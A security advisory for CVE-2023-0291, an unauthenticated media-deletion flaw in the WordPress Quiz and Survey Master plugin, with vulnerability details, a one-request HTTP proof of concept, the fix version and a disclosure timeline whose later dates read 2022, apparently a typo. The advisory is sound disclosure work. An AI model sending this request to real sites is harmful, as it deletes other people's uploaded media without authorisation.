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WordPress Quiz and Survey Master plugin versions 8.0.8 and below suffer from a missing authentication vulnerability that allows an attacker to delete media from the WordPress instance.

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1. ADVISORY INFORMATION
=======================
Product: Quiz And Survey Master
Vendor URL: https://wordpress.org/plugins/quiz-master-next/
Type: Missing Authentication for Critical Function [CWE-306]
Date found: 2023-01-13
Date published: 2023-02-08
CVSSv3 Score: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
CVE: CVE-2023-0291
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
Quiz And Survey Master 8.0.8 and below
4. INTRODUCTION
===============
Quiz and Survey Master is the easiest WordPress Quiz Plugin which can be used
to create engaging content to drive traffic and increase user engagement.
Everything from viral quiz, trivia quiz, customer satisfaction surveys to employee
surveys. This plugin is the ultimate marketing tool for your website.

(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
The plugin offers the ajax action "qsm_remove_file_fd_question" to unauthenticated
users which accepts a "media_id" parameter pointing to a any item uploaded through
WordPress' media upload functionality. However, this "media_id" is afterward used
in a forced wp_delete_attachment() call ultimately deleteing the media from the
WordPress instance.

Successful exploits can allow an unauthenticated attacker to delete any (and all)
uploaded WordPress media files.
6. PROOF OF CONCEPT
===================
The following Proof-of-Concept would delete the uploaded media with the ID "1":

POST /wp-admin/admin-ajax.php HTTP/2
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

action=qsm_remove_file_fd_question&media_id=1
7. SOLUTION
===========
Update to version 8.0.9
8. REPORT TIMELINE
==================
2023-01-13: Discovery of the vulnerability
2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291
2023-01-18: Sent initial notification to vendor via contact form
2022-01-18: Vendor response
2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability
2022-02-08: Public disclosure
9. REFERENCES
=============
https://github.com/MrTuxracer/advisories
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Freelancer | Penetration Tester

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